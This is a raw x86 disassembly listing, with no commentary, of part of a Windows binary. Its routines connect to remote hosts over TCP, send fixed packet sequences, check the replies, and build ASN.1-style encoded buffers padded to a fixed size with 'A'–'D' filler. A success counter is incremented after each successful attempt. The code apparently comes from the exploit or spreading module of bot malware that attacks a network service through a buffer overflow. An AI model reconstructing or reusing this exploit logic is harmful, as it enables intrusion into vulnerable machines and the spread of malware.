		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB


loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------


loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		call	near ptr 2630F90h
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797


loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------


loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1


loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5


loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1


loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43AE30
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax


loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx


loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF


loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------


loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------


loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_436EF4
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------


loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1


loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35


loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61


loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------


loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43ADB0


loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43AD94
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43ADE8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_436EEC
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B


loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1


loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl


loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3


loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


